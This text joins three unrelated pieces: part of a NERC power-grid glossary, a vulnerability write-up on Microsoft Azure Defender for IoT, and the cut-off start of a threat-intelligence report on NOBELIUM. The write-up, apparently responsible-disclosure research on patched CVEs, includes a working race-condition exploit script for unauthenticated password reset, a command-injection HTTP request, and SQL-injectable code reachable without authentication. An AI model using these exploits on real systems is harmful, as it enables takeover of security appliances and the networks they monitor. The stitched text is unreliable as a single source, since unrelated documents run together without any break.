likelihood that a fire will ignite or spread in a particular geographic area. **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Firm Demand That portion of the Demand that a power supplier is obligated to provide except when system reliability is threatened or during emergency conditions. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Firm Transmission Service The highest quality (priority) service offered to customers under a filed rate schedule that anticipates no planned interruption. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Flashover An electrical discharge through air around or over the surface of insulation, between objects of different potential, caused by placing a voltage across the air space that results in the ionization of the air space. **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Flowgate 1. A portion of the Transmission system through which the Interchange Distribution Calculator calculates the power flow from Interchange Transactions. 2. A mathematical construct, comprised of one or more monitored transmission Facilities and optionally one or more contingency Facilities, used to analyze the impact of power flows upon the Bulk Electric System. **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Flowgate Methodology The Flowgate methodology is characterized by identification of key Facilities as Flowgates. Total Flowgate Capabilities are determined based on Facility Ratings and voltage and stability limits. The impacts of Existing Transmission Commitments (ETCs) are determined by simulation. The impacts of ETC, Capacity Benefit Margin (CBM) and Transmission Reliability Margin (TRM) are subtracted from the Total Flowgate Capability, and Postbacks and counterflows are added, to determine the Available Flowgate Capability (AFC) value for that Flowgate. AFCs can be used to determine Available Transfer Capability (ATC). **BOT Adoption Date:** 8/22/2008 **FERC Approval Date:** 11/24/2009 ### Forced Outage 1. The removal from service availability of a generating unit, transmission line, or other facility for emergency reasons. 2. The condition in which the equipment is unavailable due to unanticipated failure. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Frequency Bias A value, usually expressed in megawatts per 0.1 Hertz (MW/0.1 Hz), associated with a Balancing Authority Area that approximates the Balancing Authority Area’s response to Interconnection frequency error. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Frequency Bias Setting A number, either fixed or variable, usually expressed in MW/0.1 Hz, included in a Balancing Authority’s Area Control Error equation to account for the Balancing Authority’s inverse Frequency Response contribution to the Interconnection, and discourage response withdrawal through secondary control systems. **BOT Adoption Date:** 2/7/2013 **FERC Approval Date:** 1/16/2014 **Effective Date:** 4/1/2015 ### Frequency Deviation A change in Interconnection frequency. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Frequency Error The difference between the actual and scheduled frequency. (FA – FS) **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Frequency Regulation The ability of a Balancing Authority to help the Interconnection maintain Scheduled Frequency. This assistance can include both turbine governor response and Automatic Generation Control. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Frequency Response 1. (Equipment) The ability of a system or elements of the system to react or respond to a change in system frequency. 2. (System) The sum of the change in demand, plus the change in generation, divided by the change in frequency, expressed in megawatts per 0.1 Hertz (MW/0.1 Hz). **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Frequency Response Measure (FRM) The median of all the Frequency Response observations reported annually by Balancing Authorities or Frequency Response Sharing Groups for frequency events specified by the ERO. This will be calculated as MW/0.1Hz. **BOT Adoption Date:** 2/7/2013 **FERC Approval Date:** 1/16/2014 **Effective Date:** 4/1/2015 ### Frequency Response Obligation (FRO) The Balancing Authority’s share of the required Frequency Response needed for the reliable operation of an Interconnection. This will be calculated as MW/0.1Hz. **BOT Adoption Date:** 2/7/2013 **FERC Approval Date:** 1/16/2014 **Effective Date:** 4/1/2015 ### Frequency Response Sharing Group (FRSG) A group whose members consist of two or more Balancing Authorities that collectively maintain, allocate, and supply operating resources required to jointly meet the sum of the Frequency Response Obligations of its members. **BOT Adoption Date:** 2/7/2013 **FERC Approval Date:** 1/16/2014 **Effective Date:** 4/1/2015 ### Generation Capability Import Requirement The amount of generation capability from external sources identified by a Load-Serving Entity (LSE) or Resource Planner (RP) to meet its generation reliability or resource adequacy requirements as an alternative to internal resources. **BOT Adoption Date:** 11/13/2008 **FERC Approval Date:** 11/24/2009 ### Generator Operator The entity that operates generating Facility(ies) and performs the functions of supplying energy and Interconnected Operations Services. **Acronym:** GOP **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Generator Owner Entity that owns and maintains generating Facility(ies). **Acronym:** GO **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Generator Shift Factor (GSF) A factor to be applied to a generator’s expected change in output to determine the amount of flow contribution that change in output will impose on an identified transmission facility or Flowgate. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Generator-to-Load Distribution Factor (GLDF) The algebraic sum of a Generator Shift Factor and a Load Shift Factor to determine the total impact of an Interchange Transaction on an identified transmission facility or Flowgate. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Geomagnetic Disturbance Vulnerability Assessment Documented evaluation of potential susceptibility to voltage collapse, Cascading, or localized damage of equipment due to geomagnetic disturbances. **BOT Adoption Date:** 12/17/2014 **FERC Approval Date:** 9/22/2016 **Effective Date:** 7/1/2017 ### Host Balancing Authority 1. A Balancing Authority that confirms and implements Interchange Transactions for a Purchasing Selling Entity that operates generation or serves customers directly within the Balancing Authority’s metered boundaries. 2. The Balancing Authority within whose metered boundaries a jointly owned unit is physically located. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Hourly Value Data measured on a Clock Hour basis. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Implemented Interchange The state where the Balancing Authority enters the Confirmed Interchange into its Area Control Error equation. **BOT Adoption Date:** 5/2/2006 **FERC Approval Date:** 3/16/2007 ### Inadvertent Interchange (IA) The difference between the Balancing Authority’s Net Actual Interchange and Net Scheduled Interchange. (IA – IS) **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Independent Power Producer (IPP) Any entity that owns or operates an electricity generating facility that is not included in an electric utility’s rate base. This term includes, but is not limited to, cogenerators and small power producers and all other nonutility electricity producers, such as exempt wholesale generators, who sell electricity. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Institute of Electrical and Electronics Engineers, Inc. (IEEE) **BOT Adoption Date:** 2/7/2006 **FERC Approval Date:** 3/16/2007 ### Interactive Remote Access User-initiated access by a person employing a remote access client or other remote access technology using a routable protocol. Remote access originates from a Cyber Asset that is not an Intermediate System and not located within any of the Responsible Entity’s Electronic Security Perimeter(s) or at a defined Electronic Access Point (EAP). **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Interchange Energy transfers that cross Balancing Authority boundaries. **BOT Adoption Date:** 5/2/2006 **FERC Approval Date:** 3/16/2007 ### Interchange Authority (IA) The responsible entity that authorizes the implementation of valid and balanced Interchange Schedules between Balancing Authority Areas, and ensures communication of Interchange information for reliability assessment purposes. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Interchange Distribution Calculator The mechanism used by Reliability Coordinators in the Eastern Interconnection to calculate the distribution of Interchange Transactions over specific Flowgates. It includes a database of all Interchange Transactions and a matrix of the Distribution Factors for the Eastern Interconnection. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Interchange Meter Error (IME) A term used in the Reporting ACE calculation to compensate for data or equipment errors affecting any other components of the Reporting ACE calculation. **BOT Adoption Date:** 2/11/2016 **FERC Approval Date:** 7/1/2016 ### Interchange Schedule An agreed-upon Interchange Transaction size (megawatts), start and end time, beginning and ending ramp times and rate, and type required for delivery and receipt of power and energy between the Source and Sink Balancing Authorities involved in the transaction. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Interchange Transaction An agreement to transfer energy from a seller to a buyer that crosses one or more Balancing Authority Area boundaries. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Interchange Transaction Tag or Tag The details of an Interchange Transaction required for its physical implementation. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Interconnected Operations Service A service (exclusive of basic energy and Transmission Services) that is required to support the Reliable Operation of interconnected Bulk Electric Systems. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Interconnection A geographic area in which the operation of Bulk Power System components is synchronized such that the failure of one or more of such components may adversely affect the ability of the operators of other components within the system to maintain Reliable Operation of the Facilities within their control. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Interconnection Reliability Operating Limit (IROL) A System Operating Limit that, if violated, could lead to instability, uncontrolled separation, or Cascading outages that adversely impact the reliability of the Bulk Electric System. **BOT Adoption Date:** 11/1/2006 **FERC Approval Date:** 12/27/2007 ### Interconnection Reliability Operating Limit Tv (IROL Tv) The maximum time that an Interconnection Reliability Operating Limit can be violated before the risk to the interconnection or other Reliability Coordinator Area(s) becomes greater than acceptable. Each Interconnection Reliability Operating Limit’s Tv shall be less than or equal to 30 minutes. **BOT Adoption Date:** 11/1/2006 **FERC Approval Date:** 12/27/2007 ### Intermediate Balancing Authority A Balancing Authority on the scheduling path of an Interchange Transaction other than the Source Balancing Authority and Sink Balancing Authority. **BOT Adoption Date:** 2/6/2014 **FERC Approval Date:** 6/30/2014 **Effective Date:** 10/1/2014 ### Intermediate System A Cyber Asset or collection of Cyber Assets performing access control to restrict Interactive Remote Access to only authorized users. The Intermediate System must not be located inside the Electronic Security Perimeter. **BOT Adoption Date:** 11/26/2012 **FERC Approval Date:** 11/22/2013 **Effective Date:** 7/1/2016 ### Interpersonal Communication Any medium that allows two or more individuals to interact, consult, or exchange information. **BOT Adoption Date:** 11/7/2012 **FERC Approval Date:** 4/16/2015 **Effective Date:** 10/1/2015 ### Interruptible Load or Interruptible Demand Demand that the end-use customer makes available to its Load-Serving Entity via contract or agreement for curtailment. **BOT Adoption Date:** 11/1/2006 **FERC Approval Date:** 3/16/2007 ### Joint Control Automatic Generation Control of jointly owned units by two or more Balancing Authorities. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Limiting Element The element that is either operating at its appropriate rating, or would be following the limiting contingency. Thus, the Limiting Element establishes a system limit. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Load An end-use device or customer that receives power from the electric system. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Load Shift Factor (LSF) A factor to be applied to a load’s expected change in demand to determine the amount of flow contribution that change in demand will impose on an identified transmission facility or monitored Flowgate. **BOT Adoption Date:** 2/8/2005 **FERC Approval Date:** 3/16/2007 ### Load-Serving Entity (LSE) Secures energy and Transmission Service (and related Interconnected Operations Services) to serve the electrical demand and energy requirements of its end-use customers. **BOT Adoption Date:** 11/5/2015 **FERC Approval Date:** 1/21/2016 **Effective Date:** 7/1/2016 ### Long-Term Transmission Planning Horizon Transmission planning period that covers years six through ten or beyond when required to accommodate any known longer lead time projects that may take longer than ten years to complete. **BOT Adoption Date:** 8/4/2011 **FERC Approval Date:** 10/17/2013 ### Market Flow The total amount of power flowing across a specified Facility or set of Facilities due to a market dispatch of generation internal to the market to serve load internal to the market. **BOT Adoption Date:** 11/4/2010 **FERC Approval Date:** 4/21/2011 ### Minimum Vegetation Clearance Distance (MVCD) The calculated minimum distance stated in feet (meters) to prevent flash-over between conductors and vegetation, for various altitudes and operating voltages. **BOT Adoption Date:** 11/3/2011 **FERC Approval Date:** 3/21/2013 **Effective Date:** 7/1/2014 ### Misoperation The failure of a Composite Protection System to operate as intended for protection purposes. Any of the following is a Misoperation: 1. Failure to Trip – During Fault – A failure of a Composite Protection System to operate for a Fault condition for which it is designed. 2. Failure to Trip – Other Than Fault – A failure of a Composite Protection System to operate for a non-Fault condition for which it is designed, such as a power swing, undervoltage, overexcitation, or loss of excitation. 3. Slow Trip – During Fault – A Composite Protection System operation that is slower than required for a Fault condition if the duration of its operating time resulted in the operation of at least one other Element’s Composite Protection System. **BOT Adoption Date:** 8/14/2014 **FERC Approval Date:** 5/13/2015 **Effective Date:** 7/1/2016 --- This concludes the glossary of terms used in NERC Reliability Standards.
# Pwning Microsoft Azure Defender for IoT | Multiple Flaws Allow Remote Code Execution for All **By Kasif Dekel and Ronen Shustin (independent researcher)** ## Executive Summary SentinelLabs has discovered a number of critical severity flaws in Microsoft Azure’s Defender for IoT affecting cloud and on-premise customers. Unauthenticated attackers can remotely compromise devices protected by Microsoft Azure Defender for IoT by abusing vulnerabilities in Azure’s Password Recovery mechanism. SentinelLabs’ findings were proactively reported to Microsoft in June 2021 and the vulnerabilities are tracked as CVE-2021-42310, CVE-2021-42312, CVE-2021-37222, CVE-2021-42313, and CVE-2021-42311 marked as critical, some with CVSS score 9.8. Microsoft has released security updates to address these critical vulnerabilities. Users are encouraged to take action immediately. At this time, SentinelLabs has not discovered evidence of in-the-wild abuse. ## Introduction Operational technology (OT) networks power many of the most critical aspects of our society; however, many of these technologies were not designed with security in mind and can’t be protected with traditional IT security controls. Meanwhile, the Internet of Things (IoT) is enabling a new wave of innovation with billions of connected devices, increasing the attack surface and risk. The problem has not gone unnoticed by vendors, and many offer security solutions in an attempt to address it, but what if the security solution itself introduces vulnerabilities? In this report, we will discuss critical vulnerabilities found in Microsoft Azure Defender for IoT, a security product for IoT/OT networks by Microsoft Azure. First, we show how flaws in the password reset mechanism can be abused by remote attackers to gain unauthorized access. Then, we discuss multiple SQL injection vulnerabilities in Defender for IoT that allow remote attackers to gain access without authentication. Ultimately, our research raises serious questions about the security of security products themselves and their overall effect on the security posture of vulnerable sectors. ## Microsoft Azure Defender For IoT Microsoft Defender for IoT is an agentless network-layer security for continuous IoT/OT asset discovery, vulnerability management, and threat detection that does not require changes to existing environments. It can be deployed fully on-premises or in Azure-connected environments. This solution consists of two main components: - **Microsoft Azure Defender For IoT Management** – Enables SOC teams to manage and analyze alerts aggregated from multiple sensors into a single dashboard and provides an overall view of the health of the networks. - **Microsoft Azure Defender For IoT Sensor** – Discovers and continuously monitors network devices. Sensors collect ICS network traffic using passive (agentless) monitoring on IoT and OT devices. Sensors connect to a SPAN port or network TAP and immediately begin performing DPI (Deep Packet Inspection) on IoT and OT network traffic. Both components can be either installed on a dedicated appliance or on a VM. Deep packet inspection (DPI) is achieved via the horizon component, which is responsible for analyzing network traffic. The horizon component loads built-in dissectors and can be extended to add custom network protocol dissectors. ## Defender for IoT Web Interface Attack Surface Both the management and the sensor share roughly the same code base, with configuration changes to fit the purpose of the machine. This is the reason why both machines are affected by most of the same vulnerabilities. The most appealing attack surface exposed on both machines is the web interface, which allows controlling the environment in an easy way. The sensor additionally exposes another attack surface which is the DPI service (horizon) that parses the network traffic. After installing and configuring the management and sensors, we are greeted with the login page of the web interface. The same credentials are used also as the login credentials for the SSH server, which gives us some more insights into how the system works. The first thing we want to do is obtain the sources to see what is happening behind the scenes. Defender for IoT is a product formerly known as CyberX, acquired by Microsoft in 2020. Looking around in the home directory of the “cyberx” user, we found the installation script and a tar archive containing the system’s encrypted files. Reading the script we found the command that decrypts the archive file. A minified version: ``` openssl enc -d -aes256 -in ./product.tar.gz -md sha512 -k <KEY> | tar xz -C <TARGET_DIR> ``` The decryption key is shared across all installations. After extracting the data we found the sources for the web interface (written in Python) and got to work. We first aimed to find any exposed unauthenticated APIs and look for vulnerabilities there. ## Finding Potentially Vulnerable Controllers The `urls.py` file contains the main routes for the web application: ```python xsense_routes = [ ['handshake', XSenseHandshakeApiHandler] ] xsense_v17_routes = [ ['sync', xsense_v17.XSenseSyncApiHandler] ] upgrade_v1_routes = [ ['status', upgrade_v1.RemoteUpgradeStatusApiHandler], ['upgrade-log', upgrade_v1.RemoteUpgradeLogFileApiHandler] ] token_v1_routes = [ ['verify', token_v1.TokenVerificationHandlers], ['update-handshake', token_v1.UpdateHandshakeHandlers], ] frontend_routes = [ ['alerts', AlertsApiHandler], ['alerts/(?P[0-9]*)', AlertsApiHandler], ['alerts/scenarios', AlertScenariosApiHandler], <redacted> ] management_routes = [ ['backup/sync', ManagementApiHandler], ['backup/package', ManagementApiBackupHandler], ['backup/maintenance', MaintenanceApiHandler] ] <redacted> ``` Using Jetbrains IntelliJ’s class hierarchy feature we can easily identify route controllers that do not require authentication. ## Understanding Azure’s Password Recovery Mechanism The password recovery mechanism for both the management and sensor operates as follows: 1. Access to management/sensor URL (e.g., `https://ip/login#/dashboard`) 2. Go to the “Password Recovery” page. 3. Copy the ApplianceID provided on this page to the Azure console and get a password reset ZIP file which you upload in the password reset page. 4. Upload the signed ZIP file to the management/sensor Password Recovery page using the mentioned form in Step 2. This ZIP contains digitally-signed proof that the user is the owner of this machine, by way of digital certificates and signed data. 5. A new password is generated and displayed to the user. Under the hood: 1. The actual process is divided into two requests to the management/sensor server: 1. Upload of the signed ZIP proof 2. Password recovery 2. When a ZIP file is uploaded, it is being extracted to the `/var/cyberx/reset_password` directory (handled by `ZipFileConfigurationApiHandler`). 3. When a password recovery request is being processed, the server performs the following operations: 1. The `PasswordRecoveryApiHandler` controller validates the certificates. This validates that the certificates are properly signed by a Root CA. In addition, it checks whether these certificates belong to Azure servers. 2. A request is sent to an internal Tomcat server to further validate the properties of the machine. 3. If all checks pass properly, `PasswordRecoveryApiHandler` generates a new password and returns it to the user. The ZIP contains the following files: - `IotDefenderSigningCertificate.pem` – Azure public key, used to verify the data signature in `ResetPassword.json`, signed by `issuer.pem`. - `Issuer.pem` – Signs `IotDefenderSigningCertificate.pem`, signed by a trusted root CA. - `ResetPassword.json` – JSON application data, properties of the machine. The content of the `ResetPassword.json` file looks as follows: ```json { "properties": { "tenantId": "<TENANTID>", "subscriptionId": "<SUBSCRIPTIONID>", "type": "PasswordReset", "applianceId": "<APPLIANCEID>", "issuanceDate": "<ISSUANCEDATA>" }, "signature": "<BASE64_SIGNATURE>" } ``` According to Step 2, the code that processes file uploads to the `reset_password` directory looks as follows: ```python class ZipFileConfigurationApiHandler(BaseHandler): def _post(self): path = self.request.POST.get('path') approved_path = ['licenses', 'reset_password'] if path not in approved_path: raise Exception("provided path is not approved") path = os.path.join('/var/cyberx', path) cyberx_common.clear_directory_content(path) files = self.request.FILES for file_name in files: license_zip = files[file_name] zf = zipfile.ZipFile(license_zip) zf.extractall(path=path) ``` As shown, the code extracts the user delivered ZIP to the mentioned directory, and the following code handles the password recovery requests: ```python class PasswordRecoveryApiHandler(BaseHandler): def _get(self): global host_id if not host_id: host_id = common.get_system_id() host_id = common.add_dashes(host_id) return { 'instanceId': host_id } def _post(self): print 'resetting user password' result = {} try: body = self.parse_body() user = body.get('user') if user != 'cyberx' and user != 'support': raise Exception('Invalid user') try: self._try_reset_password() except Exception as e: logging.error('could not verify activation certificate, error {}'.format(e.message)) result = { "internalSystemErrorMessage": '', "userDisplayErrorMessage": 'This password recovery file is invalid. Download a new file. If this does not work, contact support.' } url = "http://127.0.0.1:9090/core/api/v1/login/reset-password" r = requests.post(url=url) r.raise_for_status() # Reset passwords user_new_password = common.generate_password() self._set_user_password(user, user_new_password) if not result: result = { 'newPassword': user_new_password } finally: clear_directory_content('/var/cyberx/reset_password') return result ``` The function first validates the provided user and calls the function `_try_reset_password`. ## Vulnerabilities in Defender for IoT As shown, the password recovery mechanism consists of two main entities: - The Python web API (external) - The Java web API (Tomcat, internal) This introduces a time-of-check-time-of-use (TOCTOU) vulnerability, since no synchronization mechanism is applied. As mentioned, the reset password mechanism starts with a ZIP file upload. This primitive lets us upload and extract any files to the `/var/cyberx/reset_password` directory. There is a window of opportunity in this flow that makes it possible to change the files in `/var/cyberx/reset_password` between the first verification (Python API) and the second verification (Java API) in a way that the Python API validates that the files are correctly signed by Azure certificates. Then the Java API processes the replaced specially crafted files that causes it to falsely approve their authenticity and return the 200 OK status code. The password recovery Java API contains logical flaws that let specially-crafted payloads bypass all verifications. The Java API validates the signature of the JSON file, but it doesn’t verify the `IotDefenderSigningCertificate.pem` certificate as opposed to the Python API verification. This introduces a major flaw. An attacker can therefore generate a self-signed certificate and sign the `ResetPassword.json` payload that will pass the signature verification. The issuance date is checked, followed by `ApplianceId`. This is already supplied to us by the password recovery page. Now we understand that we can bypass all of the checks in the Java API, meaning that we only need to successfully win the race condition and ultimately reset the password without authorization. ## Preparing To Attack Azure Defender For IoT To prepare the attack we need to do the following: 1. Obtain a legitimate password recovery ZIP file from the Azure portal. We can create a new trial Azure account and generate a recovery file using that interface. 2. Generate a specially crafted (“bad”) ZIP file. This ZIP file will contain two files: - `IotDefenderSigningCertificate.pem` – a self-signed certificate. - `ResetPassword.json` – properties data JSON file, signed by the self-signed certificate mentioned above and modified accordingly to bypass the Java API verifications. Once generated and signed, it can be added to a ZIP archive and be used by the following Python exploit script: ```python import requests import threading import time import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) HOST = "192.168.1.130" BENIGN_RESET_PATH = "./benign.zip" MALICIOUS_RESET_PATH = "./malicious.zip" BENIGN_DATA = open(BENIGN_RESET_PATH, "rb+").read() MALICIOUS_DATA = open(MALICIOUS_RESET_PATH, "rb+").read() def upload_reset_file(data, timeout=0): headers = { "X-CSRFTOKEN": "aaaa", "Referer": "https://{0}/login".format(HOST), "Origin": "https://{0}".format(HOST) } cookies = { "csrftoken": "aaaa" } files = {"file": data} data = {"path": "reset_password"} while True: requests.post("https://{0}/api/configuration/zip-file".format(HOST), data=data, files=files, headers=headers, cookies=cookies, verify=False) if not timeout: time.sleep(timeout) def recover_password(): headers = { "X-CSRFTOKEN": "aaaa", "Referer": "https://{0}/login".format(HOST), "Origin": "https://{0}".format(HOST) } cookies = { "csrftoken": "aaaa" } data = {"user": "cyberx"} while True: req = requests.post("https://{0}/api/authentication/recover".format(HOST), json=data, headers=headers, cookies=cookies, verify=False) if b"newPassword" in req.content: print(req.content) sys.exit(1) def main(): looper_benign = threading.Thread(target=upload_reset_file, args=(BENIGN_DATA, 0), daemon=True) looper_malicious = threading.Thread(target=upload_reset_file, args=(MALICIOUS_DATA, 1), daemon=True) looper_recover = threading.Thread(target=recover_password, args=(), daemon=True) looper_benign.start() looper_malicious.start() looper_recover.start() looper_recover.join() if __name__ == '__main__': main() ``` The benign.zip file is the ZIP file obtained from the Azure portal, and the malicious.zip file is the specially-crafted ZIP file. The exploit script performs the TOCTOU attack to reset and receive the password of the cyberx username without authentication at all. ## Unauthenticated Remote Code Execution As Root #1 At this point, we can obtain a password for the privileged user cyberx. This allows us to log in to the SSH server and execute code as root. Even without this, an attacker could use a stealthier approach to execute code. After logging in with the obtained password, the attack surface is vastly increased. For example, we found a simple command injection vulnerability within the change password mechanism. The function receives three JSON fields from the user, “username”, “password”, “new_password”. First, it validates the username and password, which we already have. Next, it only checks the complexity of the password using regex, but does not sanitize the input for command injection primitives. After the validation, it executes the `/usr/local/bin/cyberx-users-password-reset` script as root with the username and new password controlled by an attacker. This can be exploited with the following HTTP packet: ``` POST /api/external/authentication/set_password HTTP/1.1 Host: 192.168.1.130 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-CSRFTOKEN: aaaa Referer: https://192.168.1.130/login Origin: https://192.168.1.130 Cookie: cyberx-version=10.3.1.7-r-55a4f94; csrftoken=aaaa; sessionid=kcnjq7cby7c28rxnppcex20gkajej3km; RELOCATE_URL= Content-Length: 100 Content-Type: multipart/form-data; boundary=47dd42bb4cf2abb6e9c4c81019d8fbb4 {"username" : "cyberx", "password" : "", "new_password": "``"} ``` This vulnerability is addressed as part of CVE-2021-42312. ## CVE-2021-42313 The `DynamicTokenAuthenticationBaseHandler` class inherits from `BaseHandler` and does not require authentication. This class contains two functions (`get_version_from_db`, `uuid_is_connected`) which are prone to SQL injection. ```python def get_version_from_db(self, uuid): version = None with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client: logger.info("fetching the sensor version from db") xsenses = client.execute_select_query("SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid)) if len(xsenses) > 0: version = xsenses[0]['version'] logger.info("sensor version according to db is: {}".format(version)) else: logger.info("sensor not in db") return version def uuid_is_connected(self, uuid): with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client: xsenses = client.execute_select_query("SELECT id, UID, version FROM xsenses WHERE UID = '{}'".format(uuid)) result = len(xsenses) > 0 return result ``` As shown, the UUID parameter is not sanitized and formatted into an SQL query. There are a couple of classes which inherit `DynamicTokenAuthenticationBaseHandler`. The flow to the vulnerable functions actually exists in the token validation process. Therefore, we can trigger the SQL injection without authentication. These vulnerabilities can be triggered from: 1. `api/sensors/v1/sync` 2. `api/v1/upgrade/status` 3. `api/v1/upgrade/upgrade-log` It is worth noting that the function `execute_select_query` internally calls the SQL `execute` API, which supports stacked queries. This makes the “simple” select SQL injection a more powerful primitive (aka executing any query using `;`). In our testing, we managed to insert, update, and execute SQL special commands. ## CVE-2021-42311 The `UpdateHandshakeHandlers::is_connected` function is also prone to SQL injection. The class `UpdateHandshakeHandler` inherits from `BaseHandler`, which is accessible for unauthenticated users and can be reached via the API: `/api/v1/token/update-handshake`. However, this time there is a twist: the `_post` function does token verification. This means the API requires a secret token, and without it we cannot exploit this SQL injection vulnerability. Fortunately, this API token is not that secretive. This `update.token` is hardcoded in the file `index.properties` and is shared across all Defender For IoT installations worldwide, which means that an attacker may exploit this vulnerability without any authentication. ## CVE-2021-37222 The sensor machine uses RCDCAP (an open source project) to open CISCO ERSPAN and HP ERM encapsulated packets. The functions `ERSPANProcessor::processImpl` and `HPERMProcessor::processImpl` methods are vulnerable to a wildcopy heap-based buffer overflow vulnerability, which can potentially allow arbitrary code execution when processing specially crafted input. This vulnerability was found by locally fuzzing RCDCAP with pcap files and occurs when this line is executed: ```cpp std::copy(&packet[offset + MACHeader802_1Q::getVLANTagOffset()], &packet[caplen], &packet[MACHeader802_1Q::getVLANTagOffset()+MACHeader802_1Q::getVLANTagSize()]); ``` This was reported to the code owner and MSRC; the code owner has already issued a fix. MSRC, however, decided that this vulnerability does not meet the bar for a MSRC security update and the development group might decide to fix it as needed. ## Impact Who is affected? Azure Defender for IoT running with unpatched systems are affected. Since this product has many configurations, for example RTOS, which have not been tested, users of these systems can be affected as well. What is the risk? Successful attack may lead to full network compromise, since Azure Defender For IoT is configured to have a TAP (Terminal Access Point) on the network traffic. Access to sensitive information on the network could open a number of sophisticated attacking scenarios that could be difficult or impossible to detect. ## Mitigation We responsibly disclosed our findings to MSRC in June 2021, and Microsoft has released a security advisory with patch details December 2021. While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched, and checking access logs for irregularities. ## Conclusion Cloud providers heavily invest in securing their platforms, but unknown zero-day vulnerabilities are inevitable and put customers at risk. It’s particularly concerning when it comes to IoT and OT devices that have little to no defenses and depend entirely on these vulnerable platforms for their security posture. Cloud users should take a defense-in-depth approach to cloud security to ensure breaches are detected and contained, whether the threat comes from the outside or from the platform itself. As part of SentinelLabs’ commitment to advancing public security, we actively invest in research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies and widely share our findings in the interest of protecting all users. ## Disclosure Timeline - June 21, 2021 – Initial report to MSRC. - June 24, 2021 – Initial response from MSRC. - June 30, 2021 – MSRC requests a PoC video and code. - July 1, 2021 – We shared the code and a PoC video with MSRC. - July 16, 2021 – MSRC confirmed the bug and started working on a fix. - December 14, 2021 – MSRC released an advisory.
# Key Judgments - Insikt Group is confident that the identified SOL ARDEFLECTION infrastructure can be attributed to the threat activity group publicly reported as NOBELIUM; this confidence is based on the use of overlapping network infrastructure previously attributed to NOBELIUM in public reporting, as well as unique variations of Cobalt Strike traditionally used by the group. - Broader themes in SOL ARDEFLECTION C2 typosquats have included the misuse of brands across multiple industry verticals, particularly in the news and media industries. - Cobalt Strike servers related to SOL ARDEFLECTION activity used modified server configurations, likely in an attempt to remain undetected from researchers actively scanning for standard Cobalt Strike server features. - NOBELIUM has made extensive use of typosquat domains in SSL certificates and will likely continue to use deceptive techniques, including typosquat redirection, when using Cobalt Strike tooling. # Executive Summary Recorded Future’s Insikt Group continues to monitor Russian state-sponsored cyber espionage operations targeting government and private sector organizations across multiple geographic regions. From mid-2021 onwards, Recorded Future’s midpoint collection revealed a steady rise in the use of NOBELIUM infrastructure tracked by Insikt Group as SOL ARDEFLECTION, which encompasses command and control (C2) infrastructure. In this report, we highlight trends observed by Insikt Group while monitoring SOL ARDEFLECTION infrastructure and the recurring use of typosquat domains by its operators. A key factor we have observed from NOBELIUM operators involved in threat activity is a reliance on domains that emulate other brands (some legitimate and some that are likely fictitious businesses). Domain registrations and typosquats can enable spearphishing campaigns or redirects that pose an elevated risk to a company’s brand or employees. Using a combination of proactive adversary infrastructure detections, domain analysis techniques, and Recorded Future Network Traffic Analysis, we have determined that NOBELIUM’s use of SOL ARDEFLECTION infrastructure overlaps with other common infrastructure tactics, techniques, and procedures (TTPs) previously attributed to the group by multiple organizations including Microsoft, Fortinet, Sekoia, and Volexity. Previous open source reporting also highlighted NOBELIUM’s use of cracked versions of the Cobalt Strike penetration testing tool. # Background Insikt Group assesses that NOBELIUM is a threat activity group operating in line with the objectives of Russia’s Foreign Intelligence Service (SVR). The SVR is tasked with providing the president of the Russian Federation, the Federal Assembly, and the government with the intelligence they need to make decisions in the areas of politics, the economy, military strategy, scientific-technical strategy, and the environment. In 2021, Volexity published research outlining a suspected APT29 phishing operation that targeted non-governmental organizations (NGOs), research institutions, governments, and international bodies using election fraud-themed lures purporting to be sent from the United States Agency 